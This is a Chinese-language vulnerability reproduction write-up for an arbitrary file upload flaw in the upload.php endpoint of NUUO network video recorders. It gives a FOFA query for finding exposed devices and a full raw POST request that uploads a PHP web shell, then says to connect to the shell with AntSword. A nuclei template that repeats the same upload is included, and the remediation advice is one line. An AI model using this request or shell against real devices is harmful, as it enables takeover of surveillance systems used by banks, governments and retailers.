NUUO网络视频录像机upload.php任意文件上传漏洞复现

免责声明

本文章仅供学习与交流，请勿用于非法用途，均由使用者本人负责，文章作者不为此承担任何责任

漏洞描述

NUUO网络视频录像机（Network Video Recorder，简称NVR）是NUUO Inc.生产的一种专业视频监控设备，它广泛应用于零售、交通、教育、政府和银行等多个领域。能够同时管理多个IP摄像头，实现视频录制、存储、回放及远程监控等功能。它采用先进的视频处理技术，提供高清、流畅的视频画面，满足各种复杂环境下的监控需求。在upload接口处存在文件上传漏洞

搜索语法

fofa

body="www.nuuo.com/eHelpdesk.php"

漏洞复现

在接口处进行文件上传 /upload.php

POST /upload.php HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: zh-CN
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------ok4o88lom
accept: */*
Content-Length: 163----------ok4o88lom
Content-Disposition: form-data; name="userfile"; filename="test.php"<?php $code=$_REQUEST['777'];
assert($code);?>
----------ok4o88lom--

访问test.php 文件使用蚁剑进行测试

nuclei

id: NUUO-Network-Camera-uploadfileinfo:name: uploadfile of NUUOauthor: xlseverity: infotags: tagshttp:- raw:- "POST /upload.php HTTP/1.1\nHost: \nCache-Control: max-age=0\nAccept-Language:\\ zh-CN\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT\\ 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100\\ Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\n\Accept-Encoding: gzip, deflate, br\nConnection: keep-alive\nContent-Type:\\ multipart/form-data; boundary=--------ok4o88lom\naccept: */*\nContent-Length:\\ 163\n\n----------ok4o88lom\nContent-Disposition: form-data; name=\"userfile\"\; filename=\"test.php\"\n\n<?php $code=$_REQUEST['777'];\nassert($code);?>\n\----------ok4o88lom--"matchers-condition: andmatchers:- type: wordpart: bodywords:- test.php- type: statusstatus:- 200

修复建议

升级到最新版本